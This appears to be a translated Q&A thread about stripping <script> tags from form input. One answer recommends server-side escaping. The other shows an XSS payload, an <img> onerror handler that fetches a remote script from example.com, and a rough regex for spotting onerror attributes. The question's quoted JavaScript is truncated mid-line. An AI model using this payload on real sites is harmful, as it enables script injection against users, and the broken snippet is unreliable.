如何创建表单来删除<script> </script>标签并删除此标签之间的内容或脚本?

时间:2011-03-26 14:15:11

标签: php javascript html forms

如何创建表单以删除<script></script>标记并删除标记之间的内容或脚本。请任何人为我做一个表格(我已经问过这个问题,但没有找到任何有用的答案。)

喜欢此表单:(此表单仅移除<script></script>代码,不删除<script>text</script>代码之间的脚本)

<script type="text/javascript">

// Strip HTML Tags (form) script- By JavaScriptKit.com (http://www.javascriptkit.com)
// For this and over 400+ free scripts, visit JavaScript Kit- http://www.javascriptkit.com/
// This notice must stay intact for use

function stripHTML(){
var re= /<\S[^><]*>/g
for (i=0; i<arguments.length; i++)
arguments[i].value=arguments[i].value.… "")
}

</script>

<form onSubmit="stripHTML(this.data1, this.data2)">

<textarea name="data1" style="width: 400px; height: 100px"></textarea>

<textarea name="data2" style="width: 400px; height: 100px"></textarea>

<input type="submit" value="submit">
</form>

2 个答案:

答案 0 :(得分:3)

在提交表单之前,您似乎试图从textarea中删除HTML。

这是毫无意义的,因为您的服务器上需要进行任何验证和转义。如果您有script个元素内提交的非常大的代码块并尝试减少一点流量的历史记录,那么我可以通过这样做来考虑唯一的优势。

您应该按原样提交表单(可选择在客户端验证它),然后不要从中删除标记。相反,保持原样并根据上下文选择转义方法。例如,如果您将此文本视为文本,并需要将其显示给最终用户,请使用echo htmlspecialchars($_POST['data1']);

答案 1 :(得分:1)

请注意,还有其他方法可以将JavaScript注入到页面中 - 您必须做的不仅仅是取消<script>个标记。

例如,您可以将Javascript包含为DOM属性 - 它将被执行。

<img src="ლ(ಠ益ಠლ)" onerror="var b=document.createElement('script');b.setAttribute('src','http://www.example.com/script.js');var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(b,s);"/>

<img>标记有一个伪造的URL,因此会导致错误,触发其onerror处理程序。在这种情况下,我将其设置为加载外部JS文件。

如果你真的想要阻止任意Javascript被执行,你将不得不做一些额外的处理。

以下(超级草率)正则表达式将匹配包含onerror属性但YMMV的任何HTML标记。在这种形式中,它也会匹配以下内容:<div class="onerror">,并且您不希望删除可能无害的内容。

(<)(.*?)(onerror)(.*?)(>)